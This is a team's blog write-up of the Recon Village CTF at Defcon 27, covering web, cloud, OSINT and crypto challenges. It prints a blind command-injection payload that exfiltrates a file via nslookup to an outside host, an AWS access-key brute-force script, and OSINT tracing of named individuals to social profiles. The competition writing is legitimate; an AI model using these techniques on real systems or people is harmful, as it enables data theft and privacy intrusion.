Monday, August 12, 2019

Recon Village CTF @ Defcon 27

My CTF team, Neutrino Cannon, participated in the Recon Village CTF at Defcon 27 once again for the third year in a row, and as the saying goes "the third time is the charm" as we managed to finish in first place. We dedicated almost all of our time at Defcon to the CTF, and the team's unwavering focus to complete challenges locked in the victory.

There were a lot more challenges this year than in past years, and while this write-up will include most challenges, it will not be a fully inclusive list. However, the official write-up from the Recon Village team should be released in the coming days, so be sure to check that out as well.

Challenge Solutions

USA - 500 points

Opening the provided URL into a browser, the site greets us with a simple input field.

The source code revealed that the flag would be located at "/opt/flag.txt", so we knew there would be something that could be done here to allow for LFI or an injection of some sort.

We started by doing simple manual tests for, and while XSS was successful, it didn't seem like it would yield anything useful. Noticing that the page was PHP, we then moved onto trying PHP code injection to see if anything would run. This did not pan out, so we continued to fuzz this for potential issues with a Burp Collaborator server up and noticed that it was receiving hits for straight up OS command injection.

Seeing that the server was pinging the collaborator server successfully we realized we had a blind OS command injection. Unfortunately, we could not get a reverse shell, but we managed to retrieve the flag through DNS exfiltration using nslookup.

First we setup a tcpdump to monitor for DNS queries:
"tcpdump -ni eth0 udp port 53"

Then we input the following command:
"nslookup $(cat /opt/flag.txt) <IP address>"

When it makes the query we can retrieve the flag.

Turkey - 300 points

Doing a quick Nmap scan of this IP reveals that port 8080 is open and it is running JIRA.

Based on the version indicated at the page footer, there is a CVE associated with this for RCE.


Using this with a reverse shell payload, we are able to access the server and retrieve the flag.

(*A screencap was not taken when capturing the flag from this RCE, and unfortunately (though not confirmed for certain) we believe something was wrong with the server after a while as RCE through this method no longer worked for my team or other teams when discussing post-CTF)

Mongolia - 300 points

Based on the challenge text and the website, spidey-sense was tingling that we either needed to send hash collision strings or there would be a type juggling vulnerability.

Interestingly, however, the strings that were being sent to the server were not being processed by a normal MD5 hashing function, as the values that were being output to the screen were not matching the MD5 sum of the strings we were getting locally. We thought it could be salting it or performing multiple hashings; however, we turned to type juggling as another idea.

Changing the get request so that the parameters are empty arrays tricks the check that the strings are different, but they evaluate to be the same hash through the PHP code.

United Kingdom - 300 points

Looking at the fragment of the key in the challenge text, we realized that this was an AWS-related challenge based on the "AKIA" prologue. There are two parts required to access and query AWS: the access ID (this is the key that is missing characters) and the private key (which they graciously gave to us). Since we have the private key and the access ID is only missing two characters, we wrote a python script in conjunction with a bash script to test all possible combinations which will perform a simple query. Based on the output we could determine which characters completed the key.

Bash script to query:

Python wrapper script:


import random
import string
from commands import *
import os
import sys

key_id = "AKIA2SR3ZZCIQ7LT5Q" #xx
a_key = "wotwpfUVRMmhkRoGPfgxd69enU6e0lnLqwnvZjtg"

lettersAndDigits = string.ascii_uppercase + string.digits
missing = list()
for i in lettersAndDigits:
    for j in lettersAndDigits:
    missing.append( i + j )

for i in missing:
    f = open("/root/.aws/credentials",'w')
    new_key_id = key_id + i
    f.write("[default]\naws_access_key_id = " + new_key_id + "\n"+"aws_secret_access_key = " + a_key + "\nregion = us-east-1\n")
    status, text = getstatusoutput("./ " +new_key_id)
    if "InvalidClientTokenId" in text:
        print "NOT FOUND: " + new_key_id + "\n [!]RESULT: " + text + "\n\n"
        print "******FOUND******\n" + new_key_id + "\n [+]RESULT: " + text + "\n\n"
        k_f = open("key.txt","w")

This resulted in the following access ID: AKIA2SR3ZZCIQ7LT5QVZ

With the valid access ID and private key, we could list the S3 buckets present and retrieved the flag.

Canada - 400 points

The challenge text reeked of Docker, and trying out a 'docker pull' on the potential repo successfully grabbed an image.

Exploring the history, there was a curl command being executed to retrieve a node_js-related file. Curling this file, we see mention of a git repo in the source code.

Browsing to this, we combed through the commit history and discovered the flag.

Belarus - 200 points


Looking closely at the image, there is faint text on the white building's wall. Zooming in on it reveals "English National Ballet".,0.0062593,17z/data=!4m5!3m4!1s0x4876055b0af21cdb:0x435e69d83228ec35!8m2!3d51.5132496!4d0.0064038

The above map shows that the nearest train station is "Canning Town" which is the flag.

Ethiopia - 100 points

Using Zoomeye, we crafted a search query to locate the indicated host, and thus the flag.

"+country:"MX" +app:"WebLogic applications server" +after:"2015-01-01" +before:"2016-01-01""

Australia - 200 points

This challenge required you to be on-site at Defcon. Looking at the back of the regular Recon Village badge passed out to attendees, there was a string of binary.

Converting this to ascii we only got "https://pa". Having noticed that staff were wearing a red badge and we had a black badge, we knew we had to track one of them down to get the next part of the puzzle.

Checking out a red badge gave us more information:


We immediately realized that speakers at the village had a different color badge, and after waiting for a speaker to be free after a talk, we secured the key part of the URL and retrieved the flag.



South Africa - 300 points


Based on the text written on the building that shows "Shakespeare's Board", we were able to locate it on the map:,-0.1218747,17z/data=!3m1!4b1!4m5!3m4!1s0x48761b350efbd81b:0x5db525154ac44772!8m2!3d51.516816!4d-0.119686

Changing the address to "70", we determined that the company was 'Mishcon de Reya'

After a bit of searching found that the "" page listed profiles of employees, and found that Lena Kearney was the Strategy Manager.

Heading to Facebook and searching for her, the present work listing matched and exploring her profile revealed the name of the catering company: "Sinclair's Catering", which was the flag.

Norway - 300 points

With some Google-fu, we suspected the student was Ben Price:

Doing a bit more...digging...we found his email to be "". Searching with this email, we found a pastebin dump with credentials, which was the flag.

Thailand - 100 points


Pretty basic steganography challenge. Exiftool reveals a steghide password:

Then using Steghide, we got the 'secrets.txt' file which contained the flag.

Romania - 200 points

We are given a zip that contains a public.pem and a file which is encrypted. Using the well-known RsaCtfTool ( we were able to retrieve the private key and then decrypt the zip file with 'openssl rsautl'.


Feedback and Comments

The organizers did a great job as always putting on this CTF and we had a lot of fun participating again this year. You could feel their passion and devotion to creating something exciting and challenging based on the boost in challenge difficulty and volume. There are only a couple of tweaks we would recommend for improving CTFs moving forward. First, a couple of the challenges were overly vague in the description, which is understandable to create a challenge, but for certain instances a slight bit more direction as to what we are searching for would have been appreciated (looking at you Spain!). However, this may be elucidated in the official writeup. And lastly, just a bit more communication from the organizers. There were a couple of hiccups at the start where challenges did not have their attachments and teams were hunting for something completely off, and a broadcast on the gameboard or Tweet would have been appreciated. Overall it was super fun and we are looking forward to seeing what's in store next year! Thank you again!


Post a Comment

Note: Only a member of this blog may post a comment.

Powered by Blogger.